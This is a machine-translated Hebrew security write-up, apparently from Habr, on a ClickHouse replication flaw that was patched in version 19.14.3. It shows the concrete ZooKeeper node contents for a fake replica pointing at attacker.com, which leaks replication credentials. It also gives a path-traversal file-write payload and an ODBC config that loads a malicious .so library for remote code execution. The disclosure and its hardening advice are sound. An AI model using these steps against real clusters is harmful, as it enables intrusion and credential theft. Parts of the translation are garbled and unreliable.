למה אתה צריך לשמור על כלובי גן החיות סגורים?

מאמר זה יספר את סיפורה של פגיעות מאוד ספציפית בפרוטוקול השכפול של ClickHouse, וכן יראה כיצד ניתן להרחיב את משטח ההתקפה.

ClickHouse הוא מסד נתונים לאחסון כמויות גדולות של נתונים, לרוב תוך שימוש ביותר מעתק אחד. אשכולות ושכפול ב-ClickHouse בנויים למעלה גן החיות של אפאצ'י (זכ) ודורשים זכויות כתיבה.

התקנת ברירת המחדל של ZK אינה דורשת אימות, כך שאלפי שרתי ZK המשמשים להגדרת קפקא, Hadoop, ClickHouse זמינים לציבור.

כדי לצמצם את משטח ההתקפה שלך, עליך תמיד להגדיר אימות והרשאה בעת התקנת ZooKeeper

יש כמובן כמה דה-סריאליזציות של Java מבוססות 0-יום, אבל תארו לעצמכם שתוקף יכול לקרוא ולכתוב ל-ZooKeeper, המשמש לשכפול של ClickHouse.

כאשר מוגדר במצב אשכול, ClickHouse תומך בשאילתות מבוזרות DDL, עובר דרך ZK - עבורם נוצרים צמתים בגיליון /clickhouse/task_queue/ddl.

לדוגמה, אתה יוצר צומת /clickhouse/task_queue/ddl/query-0001 עם תוכן:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ולאחר מכן, טבלת הבדיקה תימחק בשרתי האשכולות host1 ו-host2. DDL תומך גם בהפעלת שאילתות CREATE/ALTER/DROP.

נשמע מפחיד? אבל היכן יכול תוקף להשיג כתובות שרת?

שכפול ClickHouse עובד ברמה של טבלאות בודדות, כך שכאשר נוצרת טבלה ב-ZK, מצוין שרת שיהיה אחראי על החלפת מטא נתונים עם רפליקות. לדוגמה, בעת ביצוע בקשה (יש להגדיר ZK, chXX - שם העתק, פו בר - שם שולחן):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ייווצרו צמתים עמודות и מטה.

תוֹכֶן /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

האם ניתן למזג נתונים מאשכול זה? כן, אם יציאת השכפול (TCP/9009) בשרת chXX-address חומת האש לא תיסגר ולא יוגדר אימות לשכפול. איך לעקוף את האימות?

תוקף יכול ליצור עותק חדש ב-ZK פשוט על ידי העתקת התוכן ממנו /clickhouse/tables/01-01/foobar/replicas/chXX ושינוי המשמעות host.

תוֹכֶן /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

אז אתה צריך להגיד לעתקים האחרים שיש בלוק נתונים חדש בשרת של התוקף שהם צריכים לקחת - צומת נוצר ב-ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (מונה XX שגדל באופן מונוטוני, שאמור להיות גדול מהאחרון ביומן האירועים):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

איפה מקור_עותק - שם העתק של התוקף שנוצר בשלב הקודם, block_id - מזהה בלוק נתונים, לקבל - פקודת "קבל חסימה" (ו להלן פקודות לפעולות אחרות).

לאחר מכן, כל העתק קורא אירוע חדש ביומן ועובר לשרת הנשלט על ידי התוקף כדי לקבל בלוק נתונים (פרוטוקול השכפול הוא בינארי, פועל על גבי HTTP). שרת attacker.com יקבל בקשות:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

כאשר XXX הוא נתוני האימות לשכפול. במקרים מסוימים, זה עשוי להיות חשבון עם גישה למסד הנתונים באמצעות פרוטוקול ClickHouse הראשי ופרוטוקול HTTP. כפי שראית, משטח ההתקפה הופך לגדול באופן קריטי מכיוון ש-ZooKeeper, המשמש לשכפול, נותר ללא תצורת אימות.

בואו נסתכל על הפונקציה של קבלת בלוק נתונים מעתק, כתוב בביטחון מלא שכל ההעתקים נמצאים בשליטה נאותה ויש ביניהם אמון.

קוד עיבוד שכפול

הפונקציה קוראת רשימה של קבצים, לאחר מכן את שמותיהם, הגדלים, התוכן שלהם, ואז כותבת אותם למערכת הקבצים. כדאי לתאר בנפרד כיצד נתונים מאוחסנים במערכת הקבצים.

יש מספר תיקיות משנה ב /var/lib/clickhouse (ספריית אחסון ברירת מחדל מקובץ התצורה):

דגלים - ספרייה להקלטה דגלים, בשימוש בהתאוששות לאחר אובדן נתונים;
tmp - ספרייה לאחסון קבצים זמניים;
user_files - פעולות עם קבצים בבקשות מוגבלות לספרייה זו (INTO OUTFILE ואחרות);
מטה - קבצי sql עם תיאורי טבלה;
preprocessed_configs - קבצי תצורה נגזרות מעובדים מ /etc/clickhouse-server;
נתונים - הספרייה בפועל עם הנתונים עצמם, במקרה זה עבור כל מסד נתונים פשוט נוצרת כאן ספריית משנה נפרדת (לדוגמה /var/lib/clickhouse/data/default).

עבור כל טבלה נוצרת ספריית משנה בספריית מסד הנתונים. כל עמודה היא קובץ נפרד בהתאם פורמט מנוע. למשל לשולחן פו ברנוצר על ידי תוקף, הקבצים הבאים ייווצרו:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

העתק מצפה לקבל קבצים עם אותם שמות בעת עיבוד בלוק נתונים ואינו מאמת אותם בשום אופן.

הקורא הקשוב כנראה כבר שמע על שרשור לא בטוח של file_name בפונקציה WriteBufferFromFile. כן, זה מאפשר לתוקף לכתוב תוכן שרירותי לכל קובץ ב-FS עם זכויות משתמש clickhouse. לשם כך, העתק הנשלט על ידי התוקף חייב להחזיר את התגובה הבאה לבקשה (נוספו מעברי שורות כדי להקל על ההבנה):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ואחרי שרשור ../../../../../../../../../tmp/pwned הקובץ ייכתב /tmp/pwned עם תוכן hellofromzookeeper.

ישנן מספר אפשרויות להפיכת יכולת כתיבת קבצים לביצוע קוד מרחוק (RCE).

מילונים חיצוניים ב-RCE

בגרסאות ישנות יותר, הספרייה עם הגדרות ClickHouse נשמרה עם זכויות משתמש בית קליק בְּרִירַת מֶחדָל. קבצי הגדרות הם קובצי XML שהשירות קורא בעת האתחול ולאחר מכן מאחסן במטמון /var/lib/clickhouse/preprocessed_configs. כאשר מתרחשים שינויים, הם נקראים מחדש. אם יש לך גישה ל /etc/clickhouse-server תוקף יכול ליצור משלו מילון חיצוני סוג ההפעלה ולאחר מכן הפעל קוד שרירותי. גרסאות נוכחיות של ClickHouse אינן מספקות זכויות כברירת מחדל, אך אם השרת היה מעודכן בהדרגה, זכויות כאלה עלולות להישאר. אם אתה תומך באשכול ClickHouse, בדוק את הזכויות על ספריית ההגדרות, היא חייבת להיות שייכת למשתמש root.

ODBC ל-RCE

בעת התקנת חבילה, נוצר משתמש clickhouse, אבל ספריית הבית שלו לא נוצרה /nonexistent. עם זאת, בעת שימוש במילונים חיצוניים, או מסיבות אחרות, מנהלי מערכת יוצרים ספרייה /nonexistent ולתת למשתמש clickhouse גישה לכתוב אליו (SSZB! משוער. מְתוּרגְמָן).

ClickHouse תומך ODBC ויכול להתחבר למאגרי מידע אחרים. ב-ODBC, אתה יכול לציין את הנתיב לספריית מנהלי ההתקן של מסד הנתונים (.so). גרסאות ישנות יותר של ClickHouse אפשרו לך לעשות זאת ישירות במטפל הבקשות, אך כעת נוספה בדיקה קפדנית יותר של מחרוזת החיבור ל- odbc-bridge, כך שלא ניתן עוד לציין את נתיב הנהג מהבקשה. אבל האם תוקף יכול לכתוב לספריית הבית באמצעות הפגיעות שתוארה לעיל?

בואו ניצור קובץ ~/.odbc.ini עם תוכן כזה:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

ואז בהפעלה SELECT * FROM odbc('DSN=lalala', 'test', 'test'); הספרייה תיטען test.so וקיבל RCE (תודה buglloc עבור הטיפ).

פגיעויות אלו ואחרות תוקנו בגרסה 19.14.3 של ClickHouse. דאג ל-ClickHouse ו-ZooKeepers שלך!

מקור: www.habr.com